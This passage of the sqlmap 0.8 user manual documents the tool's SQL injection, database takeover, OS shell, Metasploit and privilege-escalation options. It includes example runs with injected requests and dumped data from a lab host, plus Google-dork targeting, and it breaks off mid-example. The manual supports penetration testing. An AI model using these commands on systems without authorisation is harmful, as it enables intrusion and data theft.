MySQL and PostgreSQL or via <CODE>xp_cmdshell()</CODE> on Microsoft SQL
|
|
Server.</LI>
|
|
<LI>Execution of Metasploit's shellcode by performing a <B>SMB
|
|
reflection attack</B> (
|
|
<A HREF="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx">MS08-068</A>) with a UNC path request from the database server to
|
|
the user's machine where the Metasploit <CODE>smb_relay</CODE> server exploit
|
|
runs.</LI>
|
|
<LI>Database in-memory execution of the Metasploit's shellcode by
|
|
exploiting <B>Microsoft SQL Server 2000 and 2005
|
|
<CODE>sp_replwritetovarbin</CODE> stored procedure heap-based buffer
|
|
overflow</B> (
|
|
<A HREF="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx">MS09-004</A>) with automatic DEP bypass.</LI>
|
|
</UL>
|
|
|
|
</LI>
|
|
<LI>Support for <B>database process' user privilege escalation</B> via
|
|
Metasploit's <CODE>getsystem</CODE> command which include, among others,
|
|
the
|
|
<A HREF="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html">kitrap0d</A> technique (
|
|
<A HREF="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx">MS10-015</A>) or via
|
|
<A HREF="http://labs.mwrinfosecurity.com/files/Publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf">Windows Access Tokens insecure design</A> by using Meterpreter's
|
|
<CODE>incognito</CODE> extension.
|
|
</LI>
|
|
<LI>Support to access (read/add/delete) Windows registry hives.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
|
|
|
|
<P>sqlmap can be downloaded from its
|
|
<A HREF="http://sourceforge.net/projects/sqlmap/files/">SourceForge File List page</A>.
|
|
It is available in various formats:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8.tar.gz">Source gzip compressed</A> operating system independent.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8.tar.bz2">Source bzip2 compressed</A> operating system independent.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8.zip">Source zip compressed</A> operating system independent.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap_0.8-1_all.deb">DEB binary package</A> architecture independent for Debian and any
|
|
other Debian derivated GNU/Linux distribution.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8-1.noarch.rpm">RPM binary package</A> architecture independent for Fedora and any
|
|
other operating system that can install RPM packages.
|
|
</LI>
|
|
<LI>
|
|
<A HREF="http://downloads.sourceforge.net/sqlmap/sqlmap-0.8_exe.zip">Portable executable for Windows</A> that <B>does not require the Python
|
|
interpreter</B> to be installed on the operating system.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>You can also checkout the latest development version from the sqlmap
|
|
<A HREF="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/">Subversion</A>
|
|
repository:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>If you download a source package (gzip, bzip2 or zip) or sqlmap from the
|
|
Subversion repository, you can update it to the latest development version
|
|
anytime by running:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py --update
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>Or:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ svn update
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Viceversa if you download a binary package (deb, rpm or exe), the
|
|
update feature is disabled.</P>
|
|
|
|
<P>There are some differences between the packages:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>The source packages (gzip, bzip2 and zip) have all features. They
|
|
contains the working copy from the Subversion repository updated at the
|
|
time the sqlmap new version has been released.</LI>
|
|
<LI>The Debian and Red Hat installation packages (deb and rpm) are
|
|
compliant with the Linux distributions' packaging guidelines. This implies
|
|
that they do not support the update features and do not include UPX (used
|
|
to pack the Metasploit payload stager in some cases, see below).</LI>
|
|
<LI>The Windows binary package (exe) can't update itself and does not
|
|
support the takeover out-of-band features because they rely on
|
|
Metasploit's <CODE>msfcli</CODE> which is not available for Windows.</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>It is therefore recommended to download any of the source packages and run
|
|
it either from a shell like Bash on Unix and Mac OSX or from Cygwin on
|
|
Windows.</P>
|
|
|
|
|
|
<H2><A NAME="s4">4.</A> <A HREF="#toc4">License and copyright</A></H2>
|
|
|
|
<P>sqlmap is released under the terms of the
|
|
<A HREF="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html">General Public License v2</A>.
|
|
sqlmap is copyrighted by
|
|
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A>.</P>
|
|
|
|
|
|
<H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
|
|
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -h
|
|
|
|
sqlmap/0.8 - automatic SQL injection and database takeover tool
|
|
http://sqlmap.sourceforge.net
|
|
|
|
Usage: sqlmap.py [options]
|
|
|
|
Options:
|
|
--version show program's version number and exit
|
|
-h, --help show this help message and exit
|
|
-v VERBOSE Verbosity level: 0-5 (default 1)
|
|
|
|
Target:
|
|
At least one of these options has to be specified to set the source to
|
|
get target urls from.
|
|
|
|
-u URL, --url=URL Target url
|
|
-l LIST Parse targets from Burp or WebScarab proxy logs
|
|
-r REQUESTFILE Load HTTP request from a file
|
|
-g GOOGLEDORK Process Google dork results as target urls
|
|
-c CONFIGFILE Load options from a configuration INI file
|
|
|
|
Request:
|
|
These options can be used to specify how to connect to the target url.
|
|
|
|
--method=METHOD HTTP method, GET or POST (default GET)
|
|
--data=DATA Data string to be sent through POST
|
|
--cookie=COOKIE HTTP Cookie header
|
|
--cookie-urlencode URL Encode generated cookie injections
|
|
--drop-set-cookie Ignore Set-Cookie header from response
|
|
--user-agent=AGENT HTTP User-Agent header
|
|
-a USERAGENTSFILE Load a random HTTP User-Agent header from file
|
|
--referer=REFERER HTTP Referer header
|
|
--headers=HEADERS Extra HTTP headers newline separated
|
|
--auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
|
|
--auth-cred=ACRED HTTP authentication credentials (name:password)
|
|
--auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
|
|
--proxy=PROXY Use a HTTP proxy to connect to the target url
|
|
--ignore-proxy Ignore system default HTTP proxy
|
|
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
|
|
--delay=DELAY Delay in seconds between each HTTP request
|
|
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
|
|
--retries=RETRIES Retries when the connection timeouts (default 3)
|
|
--scope=SCOPE Regexp to filter targets from provided proxy log
|
|
|
|
Injection:
|
|
These options can be used to specify which parameters to test for,
|
|
provide custom injection payloads and how to parse and compare HTTP
|
|
responses page content when using the blind SQL injection technique.
|
|
|
|
-p TESTPARAMETER Testable parameter(s)
|
|
--dbms=DBMS Force back-end DBMS to this value
|
|
--os=OS Force back-end DBMS operating system to this value
|
|
--prefix=PREFIX Injection payload prefix string
|
|
--postfix=POSTFIX Injection payload postfix string
|
|
--string=STRING String to match in page when the query is valid
|
|
--regexp=REGEXP Regexp to match in page when the query is valid
|
|
--excl-str=ESTRING String to be excluded before comparing page contents
|
|
--excl-reg=EREGEXP Matches to be excluded before comparing page contents
|
|
|
|
Techniques:
|
|
These options can be used to test for specific SQL injection technique
|
|
or to use one of them to exploit the affected parameter(s) rather than
|
|
using the default blind SQL injection technique.
|
|
|
|
--stacked-test Test for stacked queries (multiple statements) support
|
|
--time-test Test for time based blind SQL injection
|
|
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
|
|
--union-test Test for UNION query (inband) SQL injection
|
|
--union-tech=UTECH Technique to test for UNION query SQL injection
|
|
--union-use Use the UNION query (inband) SQL injection to retrieve
|
|
the queries output. No need to go blind
|
|
|
|
Fingerprint:
|
|
-f, --fingerprint Perform an extensive DBMS version fingerprint
|
|
|
|
Enumeration:
|
|
These options can be used to enumerate the back-end database
|
|
management system information, structure and data contained in the
|
|
tables. Moreover you can run your own SQL statements.
|
|
|
|
-b, --banner Retrieve DBMS banner
|
|
--current-user Retrieve DBMS current user
|
|
--current-db Retrieve DBMS current database
|
|
--is-dba Detect if the DBMS current user is DBA
|
|
--users Enumerate DBMS users
|
|
--passwords Enumerate DBMS users password hashes
|
|
--privileges Enumerate DBMS users privileges
|
|
--dbs Enumerate DBMS databases
|
|
--tables Enumerate DBMS database tables
|
|
--columns Enumerate DBMS database table columns
|
|
--dump Dump DBMS database table entries
|
|
--dump-all Dump all DBMS databases tables entries
|
|
-D DB DBMS database to enumerate
|
|
-T TBL DBMS database table to enumerate
|
|
-C COL DBMS database table column to enumerate
|
|
-U USER DBMS user to enumerate
|
|
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
|
|
--start=LIMITSTART First query output entry to retrieve
|
|
--stop=LIMITSTOP Last query output entry to retrieve
|
|
--first=FIRSTCHAR First query output word character to retrieve
|
|
--last=LASTCHAR Last query output word character to retrieve
|
|
--sql-query=QUERY SQL statement to be executed
|
|
--sql-shell Prompt for an interactive SQL shell
|
|
|
|
User-defined function injection:
|
|
These options can be used to create custom user-defined functions.
|
|
|
|
--udf-inject Inject custom user-defined functions
|
|
--shared-lib=SHLIB Local path of the shared library
|
|
|
|
File system access:
|
|
These options can be used to access the back-end database management
|
|
system underlying file system.
|
|
|
|
--read-file=RFILE Read a file from the back-end DBMS file system
|
|
--write-file=WFILE Write a local file on the back-end DBMS file system
|
|
--dest-file=DFILE Back-end DBMS absolute filepath to write to
|
|
|
|
Operating system access:
|
|
These options can be used to access the back-end database management
|
|
system underlying operating system.
|
|
|
|
--os-cmd=OSCMD Execute an operating system command
|
|
--os-shell Prompt for an interactive operating system shell
|
|
--os-pwn Prompt for an out-of-band shell, meterpreter or VNC
|
|
--os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
|
|
--os-bof Stored procedure buffer overflow exploitation
|
|
--priv-esc Database process' user privilege escalation
|
|
--msf-path=MSFPATH Local path where Metasploit Framework 3 is installed
|
|
--tmp-path=TMPPATH Remote absolute path of temporary files directory
|
|
|
|
Windows registry access:
|
|
These options can be used to access the back-end database management
|
|
system Windows registry.
|
|
|
|
--reg-read Read a Windows registry key value
|
|
--reg-add Write a Windows registry key value data
|
|
--reg-del Delete a Windows registry key value
|
|
--reg-key=REGKEY Windows registry key
|
|
--reg-value=REGVAL Windows registry key value
|
|
--reg-data=REGDATA Windows registry key value data
|
|
--reg-type=REGTYPE Windows registry key value type
|
|
|
|
Miscellaneous:
|
|
-s SESSIONFILE Save and resume all data retrieved on a session file
|
|
--flush-session Flush session file for current target
|
|
--eta Display for each output the estimated time of arrival
|
|
--gpage=GOOGLEPAGE Use google dork results from specified page number
|
|
--update Update sqlmap
|
|
--save Save options on a configuration INI file
|
|
--batch Never ask for user input, use the default behaviour
|
|
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss5.1">5.1</A> <A HREF="#toc5.1">Output verbosity</A>
|
|
</H2>
|
|
|
|
<P>Option: <CODE>-v</CODE></P>
|
|
|
|
<P>Verbose options can be used to set the verbosity level of output messages.
|
|
There exist six levels.
|
|
The default level is <B>1</B> in which
|
|
information, warnings, errors and tracebacks (if any occur) will be shown.
|
|
Level <B>2</B> shows also debug messages, level <B>3</B> shows also
|
|
full HTTP requests, level <B>4</B> shows also HTTP responses headers and
|
|
level <B>5</B> shows also HTTP responses page content.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>1</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
|
|
|
|
[hh:mm:58] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:58] [INFO] testing connection to the target url
|
|
[hh:mm:58] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:59] [INFO] url is stable
|
|
[hh:mm:59] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:59] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:59] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:59] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:59] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:59] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:59] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:59] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:59] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:59] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:59] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:59] [INFO] testing MySQL
|
|
[hh:mm:59] [INFO] confirming MySQL
|
|
[hh:mm:59] [INFO] retrieved: 0
|
|
[hh:mm:59] [INFO] the back-end DBMS is MySQL
|
|
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>2</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2
|
|
|
|
[hh:mm:22] [DEBUG] initializing the configuration
|
|
[hh:mm:22] [DEBUG] initializing the knowledge base
|
|
[hh:mm:22] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:22] [DEBUG] setting the HTTP timeout
|
|
[hh:mm:22] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:22] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:22] [DEBUG] parsing XML queries file
|
|
[hh:mm:22] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:23] [INFO] url is stable
|
|
[hh:mm:23] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:23] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:23] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:23] [DEBUG] setting match ratio to 0.743
|
|
[hh:mm:23] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:23] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:23] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:23] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:23] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:23] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:23] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:23] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:23] [INFO] testing MySQL
|
|
[hh:mm:23] [INFO] confirming MySQL
|
|
[hh:mm:23] [DEBUG] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:23] [INFO] retrieved: 2
|
|
[hh:mm:23] [DEBUG] performed 7 queries in 0 seconds
|
|
[hh:mm:23] [INFO] the back-end DBMS is MySQL
|
|
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>3</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 3
|
|
|
|
[hh:mm:53] [DEBUG] initializing the configuration
|
|
[hh:mm:53] [DEBUG] initializing the knowledge base
|
|
[hh:mm:53] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:53] [DEBUG] setting the HTTP timeout
|
|
[hh:mm:53] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:53] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:53] [DEBUG] parsing XML queries file
|
|
[hh:mm:53] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:53] [INFO] testing connection to the target url
|
|
[hh:mm:53] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8
|
|
Connection: close
|
|
[...]
|
|
[hh:mm:54] [INFO] testing MySQL
|
|
[hh:mm:54] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1%20AND%20CONNECTION_ID%28%29=CONNECTION_ID%28%29%20AND%202385=2385 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8
|
|
Connection: close
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>4</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 4
|
|
|
|
[...]
|
|
[hh:mm:20] [DEBUG] initializing the configuration
|
|
[hh:mm:20] [DEBUG] initializing the knowledge base
|
|
[hh:mm:20] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:20] [DEBUG] setting the HTTP timeout
|
|
[hh:mm:20] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:20] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:20] [DEBUG] parsing XML queries file
|
|
[hh:mm:20] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:20] [INFO] testing connection to the target url
|
|
[hh:mm:20] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8
|
|
Connection: close
|
|
|
|
[hh:mm:20] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Sat, 20 Feb 2010 17:43:00 GMT
|
|
Server: Apache/2.2.9
|
|
X-Powered-By: PHP/5.2.6-1+lenny4
|
|
Vary: Accept-Encoding
|
|
Content-Length: 127
|
|
Connection: close
|
|
Content-Type: text/html
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target (verbosity level <B>5</B>):</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5
|
|
|
|
[hh:mm:47] [DEBUG] initializing the configuration
|
|
[hh:mm:47] [DEBUG] initializing the knowledge base
|
|
[hh:mm:47] [DEBUG] cleaning up configuration parameters
|
|
[hh:mm:47] [DEBUG] setting the HTTP timeout
|
|
[hh:mm:47] [DEBUG] setting the HTTP method to GET
|
|
[hh:mm:47] [DEBUG] creating HTTP requests opener object
|
|
[hh:mm:47] [DEBUG] parsing XML queries file
|
|
[hh:mm:47] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
|
|
[hh:mm:47] [INFO] testing connection to the target url
|
|
[hh:mm:47] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8
|
|
Connection: close
|
|
|
|
[hh:mm:47] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Sat, 20 Feb 2010 17:44:27 GMT
|
|
Server: Apache/2.2.9
|
|
X-Powered-By: PHP/5.2.6-1+lenny4
|
|
Vary: Accept-Encoding
|
|
Connection: close
|
|
Transfer-Encoding: chunked
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html>
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="ss5.2">5.2</A> <A HREF="#toc5.2">Target</A>
|
|
</H2>
|
|
|
|
<P>At least one of these options has to be specified to set the source to get
|
|
target addresses from.</P>
|
|
|
|
<H3>Target URL</H3>
|
|
|
|
<P>Option: <CODE>-u</CODE> or <CODE>-</CODE><CODE>-url</CODE></P>
|
|
|
|
<P>To run sqlmap against a single target URL.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1"
|
|
|
|
[...]
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL 5
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Parse targets from Burp or WebScarab proxy logs</H3>
|
|
|
|
<P>Option: <CODE>-l</CODE></P>
|
|
|
|
<P>Rather than providing a single target URL, it is possible to test and
|
|
inject on HTTP requests proxied through
|
|
<A HREF="http://portswigger.net/suite/">Burp proxy</A>
|
|
or
|
|
<A HREF="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project">WebScarab proxy</A>.</P>
|
|
|
|
<P>Example passing to sqlmap a WebScarab proxy <CODE>conversations/</CODE> folder:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -l /tmp/webscarab.log/conversations/
|
|
|
|
[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
|
|
[hh:mm:43] [INFO] sqlmap got a total of 27 targets
|
|
[hh:mm:43] [INPUT] url 1:
|
|
GET http://172.16.213.131/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
|
|
c58b3780562
|
|
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
|
|
d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D;
|
|
pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted;
|
|
pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
|
|
do you want to test this url? [Y/n/q] n
|
|
[hh:mm:46] [INPUT] url 2:
|
|
GET http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
|
|
Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
|
|
do you want to test this url? [Y/n/q] y
|
|
[hh:mm:49] [INFO] testing url http://172.16.213.131/sqlmap/mysql/get_int.php?id=1
|
|
[hh:mm:49] [INFO] testing connection to the target url
|
|
[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:50] [INFO] url is stable
|
|
[hh:mm:50] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:50] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:50] [INFO] testing if Cookie parameter 'PPA_ID' is dynamic
|
|
[hh:mm:50] [WARNING] Cookie parameter 'PPA_ID' is not dynamic
|
|
[hh:mm:50] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:50] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:50] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:50] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:50] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:50] [INPUT] do you want to exploit this SQL injection? [Y/n] y
|
|
[hh:mm:29] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:29] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:29] [INFO] testing MySQL
|
|
[hh:mm:29] [INFO] retrieved: 99
|
|
[hh:mm:29] [INFO] confirming MySQL
|
|
[hh:mm:29] [INFO] retrieved: 1
|
|
[hh:mm:29] [INFO] retrieved: 9
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Load HTTP request from a file</H3>
|
|
|
|
<P>Option: <CODE>-r</CODE></P>
|
|
|
|
<P>One of the possibilities of sqlmap is loading of complete HTTP
|
|
request packet stored in textual file. That way you can skip usage of
|
|
bunch of other options.</P>
|
|
|
|
<P>Sample content of a HTTP request file:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
POST /sqlmap/mysql/post_int.php HTTP/1.1
|
|
Host: 172.16.213.131
|
|
User-Agent: Mozilla/4.0
|
|
|
|
id=1
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example usage:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -r request.txt
|
|
|
|
[...]
|
|
[hh:mm:27] [INFO] parsing HTTP request from 'request.txt'
|
|
[...]
|
|
[hh:mm:21] [INFO] testing if POST parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that POST parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] POST parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on POST parameter 'id' with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing unescaped numeric injection on POST parameter 'id'
|
|
[hh:mm:22] [INFO] confirming unescaped numeric injection on POST parameter 'id'
|
|
[hh:mm:22] [INFO] POST parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[hh:mm:22] [INFO] testing MySQL
|
|
[hh:mm:22] [INFO] confirming MySQL
|
|
[hh:mm:22] [INFO] retrieved: 3
|
|
[hh:mm:22] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
|
|
web application technology: PHP 5.2.4, Apache 2.2.8
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Process Google dork results as target addresses</H3>
|
|
|
|
<P>Option: <CODE>-g</CODE></P>
|
|
|
|
<P>It is also possible to test and inject on <CODE>GET</CODE> parameters on the
|
|
results of your Google dork.</P>
|
|
|
|
<P>This option makes sqlmap negotiate with the search engine its session
|
|
cookie to be able to perform a search, then sqlmap will retrieve Google
|
|
first 100 results for the Google dork expression with <CODE>GET</CODE> parameters
|
|
asking you if you want to test and inject on each possible affected URL.</P>
|
|
|
|
<P>Example of Google dorking with expression <CODE>site:yourdomain.com
|
|
ext:php</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
